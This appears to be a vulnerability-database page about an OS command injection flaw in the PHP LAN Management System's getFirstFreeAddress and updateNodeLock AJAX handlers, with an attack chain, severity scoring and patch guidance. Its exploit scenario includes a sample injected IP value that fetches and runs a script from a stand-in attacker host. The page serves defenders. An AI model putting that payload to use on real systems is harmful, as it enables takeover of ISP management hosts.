Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate to LMS as operator
-
DeliveryReach netdev/node AJAX endpoint on adjacent network
-
ExploitSubmit IP field with shell metacharacters
-
Executionexec() runs injected command
-
PersistCode execution as web server user
-
ImpactPivot into ISP management infrastructure
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires an authenticated LMS operator session (CVSS PR:L) with permission to invoke the netdevxajax getFirstFreeAddress or nodexajax updateNodeLock handlers, and network reachability to the LMS web interface from the same adjacent/management network (CVSS AV:A) - typical internet exposure of LMS is uncommon. The vulnerable code path is only triggered when the configured external command ($cmd) is non-empty, meaning a deployment with the ping/lock helper commands enabled in LMS configuration. No user interaction by another victim is needed (UI:N), and pre-patch installs are vulnerable in default code paths whenever those operator features are configured. |
| Impact | The CVSS 4.0 vector AV:A/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N indicates an adjacent-network attacker with low privileges (an authenticated LMS operator account) can fully compromise the host running LMS without user interaction, which matches the source-code evidence that the vulnerable handlers are AJAX endpoints reachable only from authenticated UI sessions. There is no EPSS, KEV, or SSVC data in the input, and no public exploit identified at time of analysis, so realistic risk is driven by insider/low-privilege operator abuse and post-authentication lateral movement rather than mass internet exploitation. Note a tension worth flagging: the description says 'attackers' generically while the CVSS vector requires PR:L and AV:A - defenders should treat this as a privileged-operator-to-RCE escalation, not an unauthenticated internet-facing RCE, and prioritize accordingly especially because LMS typically runs with database and shell access on ISP infrastructure. |
| Exploit ScenarioDerived | An attacker with a low-privileged LMS operator account on the management network opens the network-device or node management UI and submits a crafted IP-address field (for example '127.0.0.1; curl attacker/x|sh') to the getFirstFreeAddress or updateNodeLock AJAX endpoint. Because the $ip parameter is concatenated into a shell command and passed to exec() without validation, the injected commands run as the web server user, yielding arbitrary code execution on the LMS host. No public exploit identified at time of analysis, but the patch diff makes the injection point trivially discoverable. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 18, 2026
OS command injection in LMS (LAN Management System) before commit 9fcb4de allows authenticated adjacent attackers to execute arbitrary operating system commands by supplying a malicious IP address parameter that is passed unsanitized to exec(). The flaw was reported by CERT-PL and an upstream fix is available; no public exploit identified at time of analysis, and the CVSS 4.0 score of 8.6 reflects high impact on the vulnerable system with limited subsequent-system effect.
RemediationAI
Upstream fix available (commit 9fcb4de); released patched version not independently confirmed - apply the upstream patch https://github.com/chilek/lms/commit/9fcb4de19b7d76394898dbc124252b86b07ac0ed or upgrade to any LMS build that includes it, which adds check_ip($ip) validation to getFirstFreeAddress() and updateNodeLock(). If patching is not immediately possible, restrict access to the LMS web interface to a trusted management VLAN (consistent with the AV:A vector), tightly review which operator accounts hold the privileges needed to call the netdev and node AJAX endpoints, and consider temporarily disabling network-device management features that invoke ping/exec helpers - the trade-off is loss of automated IP-availability checks and node-lock workflows. Monitor LMS audit logs and the web server's process tree for unexpected shell invocations originating from PHP. Cross-reference the CERT-PL advisory at https://cert.pl/posts/2026/06/CVE-2026-40455 for further guidance.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
LMS (chilek/lms) is an open-source PHP-based ISP/LAN management system used by network operators for subscriber, node, and network-device administration. The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command) in the AJAX handlers modules/netdevxajax.inc.php (getFirstFreeAddress) and modules/nodexajax.inc.php (updateNodeLock), where a user-controlled $ip parameter was interpolated into a shell command string passed to PHP's exec() with no validation. The patch adds a check_ip($ip) guard alongside the existing empty($cmd) check, rejecting any value that is not a syntactically valid IP address before invoking the shell. The affected CPE is cpe:2.3:a:lms:lms:*:*:*:*:*:*:*:* covering all versions prior to commit 9fcb4de19b7d76394898dbc124252b86b07ac0ed.
Know when Lms gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N
Adjacent management network access plus an authenticated low-privileged LMS operator account are required; once reached, exec() injection yields full host compromise with no user interaction.
Primary rating from Vendor (CERT-PL).
CVSS VectorVendor: CERT-PL
DescriptionCVE.org
An OS Command Injection vulnerability exists in LMS (LAN Management System) before commit 9fcb4de due to an IP address parameter being passed to the "exec()" function without proper validation, allowing attackers to execute arbitrary operating system commands.
Executive ViewAI
A high-severity command injection vulnerability in LMS (LAN Management System) allows authenticated adjacent network users to execute arbitrary operating system commands, potentially compromising critical network management infrastructure. This vulnerability requires existing network credentials to exploit but could enable attackers with minimal privilege levels to gain full system control. Organizations must prioritize identification and patching of affected LMS deployments to prevent unauthorized network administration access.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
lms version <= LMS_011123 contains a Local File Disclosure vulnerability in File reading functionality in LMS module tha
Path traversal in Frappe Learning Management System (LMS) versions 2.50.0 and below allows authenticated users with cour
Error-based SQL injection in LMS (LAN Management System) before commit 4cb30a7 allows authenticated attackers to extract
Payment validation bypass in Frappe LMS 2.51.0 and earlier lets an authenticated user enroll in paid courses for free by
Reflected Cross-Site Scripting in the designthemes LMS WordPress theme (versions 9.7 and earlier) allows unauthenticated
Unauthenticated reflected cross-site scripting in the Designthemes LMS WordPress theme versions 8.3 and earlier allows r
Stored cross-site scripting (XSS) in Frappe Learning Management System versions 2.27.0 through 2.47.x allows unauthentic
SQL injection in Forma LMS up to and including version 4.1.43 allows an attacker with an authenticated session on the ad
Frappe Learning Management System versions prior to 2.46.0 allow authenticated students to modify their own quiz scores
Frappe Learning Management System (LMS) prior to 2.54.2 lets authenticated low-privileged users retrieve and view certif
Missing server-side authorization on quiz submission records in Frappe Learning Management System (LMS) lets an authenti
Authenticated users of Frappe LMS can complete a paid course or certificate purchase for an arbitrary amount in versions
EUVD-2026-37875
GHSA-765c-7qf8-cw9w
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB